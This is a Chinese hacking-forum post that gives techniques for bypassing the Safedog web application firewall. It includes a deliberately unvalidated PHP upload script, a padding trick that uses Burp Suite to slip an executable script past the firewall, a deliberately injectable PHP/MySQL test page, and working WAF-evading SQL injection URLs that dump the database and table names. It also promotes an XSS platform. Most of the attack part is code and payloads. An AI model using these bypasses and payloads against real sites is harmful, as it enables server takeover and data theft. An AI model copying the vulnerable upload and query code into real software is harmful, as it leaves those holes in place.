SQL注入 上传绕过安全狗-女黑客 - Powered by Discuz! Archiver

nvhack 发表于 2017-4-20 20:35:17

SQL注入 上传绕过安全狗

                     SQL注入 上传绕过安全狗
                  (仅供天融信内部使用)
                                       -----收集整理 by: www.nvhack.com
推荐网站:http://xss.tv
国内长度最短的XSS平台,支持https协议



一,绕过安全狗上传可执行脚本
附上php上传脚本源码,此源码未对上传文件类型做校验
<?php
      move_uploaded_file($_FILES["file"]["tmp_name"],"./" . $_FILES["file"]["name"]);
      echo "Stored in: " . "./" . $_FILES["file"]["name"];
?>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>

-------------


绕过方法,工具:burpsuite
1,用 php脚本或者js,python等其他语言,生成48930个字符
<?php
for ($i=0; $i <= 48930; $i++) {
      echo 'o';
}
?>

2,抓包,改包

3,添加后如图:

4,查看当前目录,上传成功1



二,sql注入绕过安全狗
1,测试文件,明显的字符型 SQL注入
<?php
      header("Content-type: text/html; charset=utf-8");
      $link = mysql_connect("localhost","root","root");
      mysql_select_db("test",$link);
      $sql = "select * from cms where id='{$_GET['id']}'";
      echo $sql;
      echo '<br>-----------------------------<br>';
      $res = mysql_query($sql);
      while ( $rows = mysql_fetch_array($res)) {
                echo $rows;
                echo $rows;
                echo $rows;
      }
?>
2,正常运行界面


3,添加注入测试语句
http://localhost/waf123.php?id=3' and 1=1 --+

4,修改测试语句
http://localhost/waf123.php?id=3'/*!and*/%202e1/**/=2e1--+




5,暴库
http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,database/**/(),4,5))--+

6,爆表
http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=0x74657374))--+




页: [1]
查看完整版本: SQL注入 上传绕过安全狗